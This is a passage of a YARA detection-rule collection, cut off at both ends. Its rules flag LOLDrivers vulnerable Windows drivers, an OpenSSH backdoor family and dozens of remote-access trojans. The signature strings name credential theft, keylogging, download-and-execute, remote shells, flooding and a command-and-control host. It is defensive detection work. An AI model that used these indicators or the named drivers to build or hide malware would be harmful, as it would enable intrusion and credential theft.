		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049002f004f00200049006e00740065007200660061006300650020006400720069007600650072002000660069006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00420049004f0053005400410052002000470072006f00750070 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002c00200030002c00200031003800300036002c00200032003200300030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002c00200030002c00200031003800300036002c00200032003200300030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0049002f004f0020006400720069007600650072 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00420049004f005300540041005200200049002f004f0020006400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00420053005f00480057004d0049004f00360034005f005700310030002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000310038002d0032003000310039002000420049004f0053005400410052002000470072006f00750070 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_E2E7
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "e2e79f1e696f27fa70d72f97e448081b1fa14d59cbb89bb4a40428534dd5c6f6"
		date = "2023-06-14"
		score = 40
		id = "ec02c434-7918-5212-85f6-5ee417940b7c"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0034002e0034003200310031002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0034002e0034003200310031002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310039002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_5F69
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "5f69d6b167a1eeca3f6ac64785c3c01976ee7303171faf998d65852056988683"
		date = "2023-06-14"
		score = 40
		id = "04fdd9f7-605b-54ee-849d-44a50ef732d2"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300033002e0032002e00370020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300033002e0032002e0037 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003600200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_9679
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "9679758455c69877fce866267d60c39d108b495dca183954e4af869902965b3d"
		date = "2023-06-14"
		score = 40
		id = "a1b5efd0-2dd2-5c54-86b6-12684d6ea56b"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f00770073002000780036003400200049002f004f0020006400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200031002c00200031 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003800200045006c00610062006f0072006100740065002000420079007400650073002000410047 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_8137
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "8137ce22d0d0fc5ea5b174d6ad3506a4949506477b1325da2ccb76511f4c4f60"
		date = "2023-06-14"
		score = 40
		id = "0e696bff-b5da-5116-a5a7-341b6c3098b8"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200031002c00200030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003700200045006c00610062006f0072006100740065002000420079007400650073002000410047 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_4DA0
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "4da08c0681fbe028b60a1eaf5cb8890bd3eba4d0e6a8b976495ddcd315e147ba"
		date = "2023-06-14"
		score = 40
		id = "bde91bb0-9211-5fea-b725-d556c5a3ccc9"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0037002e0034003000310036002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0037002e0034003000310036002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule MAL_LNX_SSHDOOR_Triton
{
	meta:
		description = "Signature detecting "
		author = "Marc-Etienne M.Leveille, modified by Florian Roth"
		email = "leveille@eset.com"
		reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
		date = "2018-12-05"
		license = "BSD 2-Clause"
		id = "51ec2e60-d84a-5271-a7fe-e12d597be00c"

	strings:
		$a_usage1 = "usage: ssh ["
		$a_usage2 = "usage: %s [options] [command [arg ...]]"
		$a_old_version1 = "-L listen-port:host:port"
		$a_old_version2 = "Listen on the specified port (default: 22)"
		$a_usage = "usage: %s [-46Hv] [-f file] [-p port] [-T timeout] [-t type]"
		$ac_usage = "usage: %s [options] [file ...]\n"
		$ac_log1 = "Could not open a connection to your authentication agent.\n"
		$ac_pass2 = "Enter your OpenSSH passphrase:"
		$ac_log2 = "Could not grab %s. A malicious client may be eavesdropping on you"
		$ac_pass3 = "Enter new passphrase (empty for no passphrase):"
		$ac_log3 = "revoking certificates by key ID requires specification of a CA key"
		$s_log_c = "%s:%s@%s"
		$s_log_d = "%s:%s from %s"
		$s_log_aki = /(To|From):\s(%s\s\-\s)?%s:%s\n/
		$s_log_ald = /login\s(in|at):\s(%s\s)?%s:%s\n/
		$ando_s1 = "%s:%s\n"
		$ando_s2 = "HISTFILE"
		$ando_i = "fopen64"
		$ando_m1 = "cat "
		$ando_m2 = "mail -s"
		$s_log_ano = "%s at: %s | user: %s, pass: %s\n"
		$s_args_bat = "ssh: ~(av[%d]: %s\n)"
		$s_log_bat = "readpass: %s\n"
		$s_banodan1 = "g_server"
		$s_banodan2 = "mine.sock"
		$s_banodan3 = "tspeed"
		$s_banodan4 = "6106#x=%d#%s#%s#speed=%s"
		$s_banodan5 = "usmars.mynetgear.com"
		$s_banodan6 = "user=%s#os=%s#eip=%s#cpu=%s#mem=%s"
		$s_borleias_log = "%Y-%m-%d %H:%M:%S [%s]"
		$s_daemon = "user:password --> %s:%s\n"
		$s_client = /user(,|:)(a,)?password@host \-\-> %s(,|:)(b,)?%s@%s\n/
		$s_polis_log = /\b\w+(:|\s-+>)\s%s(:%d)?\s\t(\w+)?:\s%s\s\t(\w+)?:\s%s/
		$s_quarren_log = "h: %s, u: %s, p: %s\n"
		$chandrila_log = "S%s %s:%s"
		$chandrila_magic = { 05 71 92 7D }
		$atollon_bp = /(\xC6\x45.{2}){25}/
		$atollon_bp_dw = /(\xC7\x45.{5}){20}/
		$atollon_bp_off = /(\xC6\x85.{5}){25}/
		$atollon_sp = /(\xC6\x44\x24.{2}){25}/
		$atollon_sp_off = /(\xC6\x84\x24.{5}){25}/
		$atollon_f1 = "PEM_read_RSA_PUBKEY"
		$atollon_f2 = "RAND_add"
		$atollon_log = "%s:%s"
		$atollon_rand = "/dev/urandom"
		$bespin_log1 = "%Y-%m-%d %H:%M:%S"
		$bespin_log2 = "%s %s%s"
		$bespin_log3 = "[%s]"
		$coruscant_s1 = "%s:%s@%s\n"
		$coruscant_s2 = "POST"
		$coruscant_s3 = "HTTP/1.1"
		$crait_i1 = "flock"
		$crait_i2 = "fchmod"
		$crait_i3 = "sendto"
		$jakuu_dec = /GET\s\/\?(s|c)id=/
		$jakuu_enc1 = "getifaddrs"
		$jakuu_enc2 = "usleep"
		$jakuu_ns = "gethostbyname"
		$jakuu_log = "%s:%s"
		$jakuu_rc4 = { A1 71 31 17 11 1A 22 27 55 00 66 A3 10 FE C2 10 22 32 6E 95 90 84 F9 11 73 62 95 5F 4D 3B DB DC }
		$kamino_s1 = "/var/log/wtmp"
		$kamino_s2 = "/var/log/secure"
		$kamino_s3 = "/var/log/auth.log"
		$kamino_s4 = "/var/log/messages"
		$kamino_s5 = "/var/log/audit/audit.log"
		$kamino_s6 = "/var/log/httpd-access.log"
		$kamino_s7 = "/var/log/httpd-error.log"
		$kamino_s8 = "/var/log/xferlog"
		$kamino_i1 = "BIO_f_base64"
		$kamino_i2 = "PEM_read_bio_RSA_PUBKEY"
		$kamino_i3 = "srand"
		$kamino_i4 = "gethostbyname"
		$kessel_rc4 = "Xee5chu1Ohshasheed1u"
		$kessel_s1 = "ssh:%s:%s:%s:%s"
		$kessel_s2 = "sshkey:%s:%s:%s:%s:%s"
		$kessel_s3 = "sshd:%s:%s"
		$kessel_i1 = "spy_report"
		$kessel_i2 = "protoShellCMD"
		$kessel_i3 = "protoUploadFile"
		$kessel_i4 = "protoSendReport"
		$kessel_i5 = "tunRecvDNS"
		$kessel_i6 = "tunPackMSG"
		$mimban_s1 = "<|||%s|||%s|||%d|||>"
		$mimban_s2 = />\|\|\|%s\|\|\|%s\|\|\|\d\|\|\|%s\|\|\|%s\|\|\|%s\|\|\|%s\|\|\|</
		$mimban_s3 = "-----BEGIN PUBLIC KEY-----"
		$mimban_i1 = "BIO_f_base64"
		$mimban_i2 = "PEM_read_bio_RSA_PUBKEY"
		$mimban_i3 = "gethostbyname"

	condition:
		uint32be( 0 ) == 0x7f454c46 and ( 1 of ( $a_* ) or 2 of ( $ac_* ) ) and ( ( 1 of ( $s* ) ) or ( all of ( $ando_s* ) and ( $ando_i or all of ( $ando_m* ) ) ) or ( all of ( $atollon* ) ) or ( all of ( $bespin* ) ) or ( all of ( $chandrila* ) ) or ( all of ( $coruscant* ) ) or ( 2 of ( $crait* ) ) or ( $jakuu_log and $jakuu_ns and ( $jakuu_dec or all of ( $jakuu_enc* ) or $jakuu_rc4 ) ) or ( 5 of ( $kamino_s* ) and 3 of ( $kamino_i* ) ) or ( 2 of ( $kessel_s* ) or 2 of ( $kessel_i* ) or $kessel_rc4 ) or ( 2 of ( $mimban_s* ) and 2 of ( $mimban_i* ) ) )
}

rule RAT_AAR
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net>"
		date = "01.04.2014"
		description = "Detects AAR RAT"
		reference = "http://malwareconfig.com/stats/AAR"
		maltype = "Remote Access Trojan"
		filetype = "exe"
		id = "42c1af80-cff3-505f-a3cb-35b7e34575e1"

	strings:
		$a = "Hashtable"
		$b = "get_IsDisposed"
		$c = "TripleDES"
		$d = "testmemory.FRMMain.resources"
		$e = "$this.Icon" wide
		$f = "{11111-22222-20001-00001}" wide

	condition:
		all of them
}

rule RAT_Adzok
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net>"
		description = "Detects Adzok RAT"
		Versions = "Free 1.0.0.3,"
		date = "01.05.2015"
		reference = "http://malwareconfig.com/stats/Adzok"
		maltype = "Remote Access Trojan"
		filetype = "jar"
		id = "93807f85-ae4e-5fd2-9010-ed2cf6f57f38"

	strings:
		$a1 = "config.xmlPK"
		$a2 = "key.classPK"
		$a3 = "svd$1.classPK"
		$a4 = "svd$2.classPK"
		$a5 = "Mensaje.classPK"
		$a6 = "inic$ShutdownHook.class"
		$a7 = "Uninstall.jarPK"
		$a8 = "resources/icono.pngPK"

	condition:
		7 of ( $a* )
}

rule RAT_Ap0calypse
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net>"
		description = "Detects Ap0calypse RAT"
		date = "01.04.2014"
		reference = "http://malwareconfig.com/stats/Ap0calypse"
		maltype = "Remote Access Trojan"
		filetype = "exe"
		id = "a2993654-efa0-519b-b6f6-4d722d93adde"

	strings:
		$a = "Ap0calypse"
		$b = "Sifre"
		$c = "MsgGoster"
		$d = "Baslik"
		$e = "Dosyalars"
		$f = "Injecsiyon"

	condition:
		all of them
}

rule RAT_Arcom
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net>"
		date = "01.04.2014"
		description = "Detects Arcom RAT"
		reference = "http://malwareconfig.com/stats/Arcom"
		maltype = "Remote Access Trojan"
		filetype = "exe"
		id = "a0598340-c4a5-53f0-a810-63e37ec669a5"

	strings:
		$a1 = "CVu3388fnek3W(3ij3fkp0930di"
		$a2 = "ZINGAWI2"
		$a3 = "clWebLightGoldenrodYellow"
		$a4 = "Ancestor for '%s' not found" wide
		$a5 = "Control-C hit" wide
		$a6 = {A3 24 25 21}

	condition:
		all of them
}

rule RAT_Bandook
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net>"
		date = "01.04.2014"
		description = "Detects Bandook RAT"
		reference = "http://malwareconfig.com/stats/bandook"
		maltype = "Remote Access Trojan"
		filetype = "exe"
		id = "79fb99d8-bd56-5986-9917-e119b51b8303"

	strings:
		$a = "aaaaaa1|"
		$b = "aaaaaa2|"
		$c = "aaaaaa3|"
		$d = "aaaaaa4|"
		$e = "aaaaaa5|"
		$f = "%s%d.exe"
		$g = "astalavista"
		$h = "givemecache"
		$i = "%s\\system32\\drivers\\blogs\\*"
		$j = "bndk13me"

	condition:
		all of them
}

rule RAT_BlackNix
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net>"
		date = "01.04.2014"
		description = "Detects BlackNix RAT"
		reference = "http://malwareconfig.com/stats/BlackNix"
		maltype = "Remote Access Trojan"
		filetype = "exe"
		id = "d7814184-3ae4-53f1-a602-c3fbc02573c3"

	strings:
		$a1 = "SETTINGS" wide
		$a2 = "Mark Adler"
		$a3 = "Random-Number-Here"
		$a4 = "RemoteShell"
		$a5 = "SystemInfo"

	condition:
		all of them
}

rule RAT_BlackShades
{
	meta:
		author = "Brian Wallace (@botnet_hunter)"
		date = "01.04.2014"
		description = "Detects BlackShades RAT"
		reference = "http://blog.cylance.com/a-study-in-bots-blackshades-net"
		family = "blackshades"
		id = "039f9efd-034d-5088-9a2f-7a63ad170d3d"

	strings:
		$string1 = "bss_server"
		$string2 = "txtChat"
		$string3 = "UDPFlood"

	condition:
		all of them
}

rule RAT_BlueBanana
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net>"
		date = "01.04.2014"
		description = "Detects BlueBanana RAT"
		reference = "http://malwareconfig.com/stats/BlueBanana"
		maltype = "Remote Access Trojan"
		filetype = "Java"
		id = "f00c7e92-f34c-5666-a1d9-02ac2cf7608c"

	strings:
		$meta = "META-INF"
		$conf = "config.txt"
		$a = "a/a/a/a/f.class"
		$b = "a/a/a/a/l.class"
		$c = "a/a/a/b/q.class"
		$d = "a/a/a/b/v.class"

	condition:
		all of them
}

rule RAT_Bozok
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net>"
		date = "01.04.2014"
		description = "Detects Bozok RAT"
		reference = "http://malwareconfig.com/stats/Bozok"
		maltype = "Remote Access Trojan"
		filetype = "exe"
		id = "b1d22e8c-39aa-52e7-9ca8-2b35bb82f7de"

	strings:
		$a = "getVer" nocase
		$b = "StartVNC" nocase
		$c = "SendCamList" nocase
		$d = "untPlugin" nocase
		$e = "gethostbyname" nocase

	condition:
		all of them
}

rule RAT_ClientMesh
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net> (slightly modified by Florian Roth to improve performance)"
		date = "01.06.2014"
		description = "Detects ClientMesh RAT"
		reference = "http://malwareconfig.com/stats/ClientMesh"
		family = "torct"
		id = "351df33e-d3a1-5fe8-be38-edb43bc5d38f"

	strings:
		$string1 = "machinedetails"
		$string2 = "MySettings"
		$string3 = "sendftppasswords"
		$string4 = "sendbrowserpasswords"
		$string5 = "arma2keyMass"
		$string6 = "keylogger"

	condition:
		all of them
}

rule RAT_CyberGate
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net>"
		date = "01.04.2014"
		description = "Detects CyberGate RAT"
		reference = "http://malwareconfig.com/stats/CyberGate"
		maltype = "Remote Access Trojan"
		filetype = "exe"
		id = "387e7c89-c766-54cf-aac0-3ba03092bc25"

	strings:
		$string1 = {23 23 23 23 40 23 23 23 23 E8 EE E9 F9 23 23 23 23 40 23 23 23 23}
		$string2 = {23 23 23 23 40 23 23 23 23 FA FD F0 EF F9 23 23 23 23 40 23 23 23 23}
		$string3 = "EditSvr"
		$string4 = "TLoader"
		$string5 = "Stroks"
		$string6 = "####@####"
		$res1 = "XX-XX-XX-XX"
		$res2 = "CG-CG-CG-CG"

	condition:
		all of ( $string* ) and any of ( $res* )
}

rule RAT_DarkComet
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net>"
		date = "01.04.2014"
		description = "Detects DarkComet RAT"
		reference = "http://malwareconfig.com/stats/DarkComet"
		maltype = "Remote Access Trojan"
		filetype = "exe"
		id = "e6fd0269-dd0c-58c0-a1a3-24c2aed916ee"

	strings:
		$a1 = "#BOT#URLUpdate"
		$a2 = "Command successfully executed!"
		$a3 = "MUTEXNAME" wide
		$a4 = "NETDATA" wide
		$b1 = "FastMM Borland Edition"
		$b2 = "%s, ClassID: %s"
		$b3 = "I wasn't able to open the hosts file"
		$b4 = "#BOT#VisitUrl"
		$b5 = "#KCMDDC"

	condition:
		all of ( $a* ) or all of ( $b* )
}

rule RAT_DarkRAT
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net>"
		date = "01.04.2014"
		description = "Detects DarkRAT"
		reference = "http://malwareconfig.com/stats/DarkRAT"
		maltype = "Remote Access Trojan"
		filetype = "exe"
		id = "8283236a-6ed1-5213-8386-a029867b9677"

	strings:
		$a = "@1906dark1996coder@"
		$b = "SHEmptyRecycleBinA"
		$c = "mciSendStringA"
		$d = "add_Shutdown"
		$e = "get_SaveMySettingsOnExit"
		$f = "get_SpecialDirectories"
		$g = "Client.My"

	condition:
		all of them
}

rule RAT_Greame
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net>"
		date = "01.04.2014"
		description = "Detects Greame RAT"
		reference = "http://malwareconfig.com/stats/Greame"
		maltype = "Remote Access Trojan"
		filetype = "exe"
		id = "b90d3747-407a-5552-971f-78ff78f827a6"

	strings:
		$a = {23 23 23 23 40 23 23 23 23 E8 EE E9 F9 23 23 23 23 40 23 23 23 23}
		$b = {23 23 23 23 40 23 23 23 23 FA FD F0 EF F9 23 23 23 23 40 23 23 23 23}
		$c = "EditSvr"
		$d = "TLoader"
		$e = "Stroks"
		$f = "Avenger by NhT"
		$g = "####@####"
		$h = "GREAME"

	condition:
		all of them
}

rule RAT_HawkEye
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net>"
		date = "01.06.2015"
		description = "Detects HawkEye RAT"
		reference = "http://malwareconfig.com/stats/HawkEye"
		maltype = "KeyLogger"
		filetype = "exe"
		id = "22b1d1e6-feea-5f84-9564-326ad80bbd8d"

	strings:
		$key = "HawkEyeKeylogger" wide
		$salt = "099u787978786" wide
		$string1 = "HawkEye_Keylogger" wide
		$string2 = "holdermail.txt" wide
		$string3 = "wallet.dat" wide
		$string4 = "Keylog Records" wide
		$string5 = "<!-- do not script -->" wide
		$string6 = "\\pidloc.txt" wide
		$string7 = "BSPLIT" wide

	condition:
		$key and $salt and all of ( $string* )
}

rule RAT_Imminent
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net>"
		date = "01.04.2014"
		description = "Detects Imminent RAT"
		reference = "http://malwareconfig.com/stats/Imminent"
		maltype = "Remote Access Trojan"
		filetype = "exe"
		id = "deddef60-c309-54e0-a488-ce937ed7eae3"

	strings:
		$v1a = "DecodeProductKey"
		$v1b = "StartHTTPFlood"
		$v1c = "CodeKey"
		$v1d = "MESSAGEBOX"
		$v1e = "GetFilezillaPasswords"
		$v1f = "DataIn"
		$v1g = "UDPzSockets"
		$v1h = {52 00 54 00 5F 00 52 00 43 00 44 00 41 00 54 00 41}
		$v2a = "<URL>k__BackingField"
		$v2b = "<RunHidden>k__BackingField"
		$v2c = "DownloadAndExecute"
		$v2d = "-CHECK & PING -n 2 127.0.0.1 & EXIT" wide
		$v2e = "england.png" wide
		$v2f = "Showed Messagebox" wide

	condition:
		all of ( $v1* ) or all of ( $v2* )
}

rule RAT_Infinity
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net>"
		date = "01.04.2014"
		description = "Detects Infinity RAT"
		reference = "http://malwareconfig.com/stats/Infinity"
		maltype = "Remote Access Trojan"
		filetype = "exe"
		id = "b70f9459-fa84-516f-841d-d9617856eb4d"

	strings:
		$a = "CRYPTPROTECT_PROMPTSTRUCT"
		$b = "discomouse"
		$c = "GetDeepInfo"
		$d = "AES_Encrypt"
		$e = "StartUDPFlood"
		$f = "BATScripting" wide
		$g = "FBqINhRdpgnqATxJ.html" wide
		$i = "magic_key" wide

	condition:
		all of them
}

rule RAT_LostDoor
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net>"
		date = "01.04.2014"
		description = "Detects LostDoor RAT"
		reference = "http://malwareconfig.com/stats/LostDoor"
		maltype = "Remote Access Trojan"
		filetype = "exe"
		id = "f86ae7a1-2182-5b2e-8f9e-9e8456f574bc"

	strings:
		$a0 = {0D 0A 2A 45 44 49 54 5F 53 45 52 56 45 52 2A 0D 0A}
		$a1 = "*mlt* = %"
		$a2 = "*ip* = %"
		$a3 = "*victimo* = %"
		$a4 = "*name* = %"
		$b5 = "[START]"
		$b6 = "[DATA]"
		$b7 = "We Control Your Digital World" wide ascii
		$b8 = "RC4Initialize" wide ascii
		$b9 = "RC4Decrypt" wide ascii

	condition:
		all of ( $a* ) or all of ( $b* )
}

rule RAT_LuminosityLink
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net>"
		date = "01.04.2014"
		description = "Detects LuminosityLink RAT"
		reference = "http://malwareconfig.com/stats/LuminosityLink"
		maltype = "Remote Access Trojan"
		filetype = "exe"
		id = "163fe10c-38a1-53d3-b3a5-4240229e0306"

	strings:
		$a = "SMARTLOGS" wide
		$b = "RUNPE" wide
		$c = "b.Resources" wide
		$d = "CLIENTINFO*" wide
		$e = "Invalid Webcam Driver Download URL, or Failed to Download File!" wide
		$f = "Proactive Anti-Malware has been manually activated!" wide
		$g = "REMOVEGUARD" wide
		$h = "C0n1f8" wide
		$i = "Luminosity" wide
		$j = "LuminosityCryptoMiner" wide
		$k = "MANAGER*CLIENTDETAILS*" wide

	condition:
		all of them
}

rule RAT_LuxNet
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net>"
		date = "01.04.2014"
		description = "Detects LuxNet RAT"
		reference = "http://malwareconfig.com/stats/LuxNet"
		maltype = "Remote Access Trojan"
		filetype = "exe"
		id = "277db509-5ba0-5d1b-b17a-d5914f1f1650"

	strings:
		$a = "GetHashCode"
		$b = "Activator"
		$c = "WebClient"
		$d = "op_Equality"
		$e = "dickcursor.cur" wide
		$f = "{0}|{1}|{2}" wide

	condition:
		all of them
}

rule RAT_NetWire
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net> & David Cannings"
		date = "01.04.2014"
		description = "Detects NetWire RAT"
		reference = "http://malwareconfig.com/stats/NetWire"
		maltype = "Remote Access Trojan"
		filetype = "exe"
		id = "f0077e8c-3e6a-5a98-9171-b0d81f24d27a"

	strings:
		$exe1 = "%.2d-%.2d-%.4d"
		$exe2 = "%s%.2d-%.2d-%.4d"
		$exe3 = "[%s] - [%.2d/%.2d/%d %.2d:%.2d:%.2d]"
		$exe4 = "wcnwClass"
		$exe5 = "[Ctrl+%c]"
		$exe6 = "SYSTEM\\CurrentControlSet\\Control\\ProductOptions"
		$exe7 = "%s\\.purple\\accounts.xml"

	condition:
		all of them
}

rule RAT_Pandora
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net>"
		date = "01.04.2014"
		description = "Detects Pandora RAT"
		reference = "http://malwareconfig.com/stats/Pandora"
		maltype = "Remote Access Trojan"
		filetype = "exe"
		id = "d31e4366-8911-5c9c-92dc-a99f5233c626"

	strings:
		$a = "Can't get the Windows version"
		$b = "=M=Q=U=Y=]=a=e=i=m=q=u=y=}="
		$c = "JPEG error #%d" wide
		$d = "Cannot assign a %s to a %s" wide
		$g = "%s, ProgID:"
		$h = "clave"
		$i = "Shell_TrayWnd"
		$j = "melt.bat"
		$k = "\\StubPath"
		$l = "\\logs.dat"
		$m = "1027|Operation has been canceled!"
		$n = "466|You need to plug-in! Double click to install... |"
		$0 = "33|[Keylogger Not Activated!]"

	condition:
		all of them
}

rule RAT_Paradox
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net>"
		date = "01.04.2014"
		description = "Detects Paradox RAT"
		reference = "http://malwareconfig.com/stats/Paradox"
		maltype = "Remote Access Trojan"
		filetype = "exe"
		id = "2f1e6226-799b-54eb-a4a4-6c0f1bf561b4"

	strings:
		$a = "ParadoxRAT"
		$b = "Form1"
		$c = "StartRMCam"
		$d = "Flooders"
		$e = "SlowLaris"
		$f = "SHITEMID"
		$g = "set_Remote_Chat"

	condition:
		all of them
}

rule RAT_Plasma
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net>"
		date = "01.04.2014"
		description = "Detects Plasma RAT"
		reference = "http://malwareconfig.com/stats/Plasma"
		maltype = "Remote Access Trojan"
		filetype = "exe"
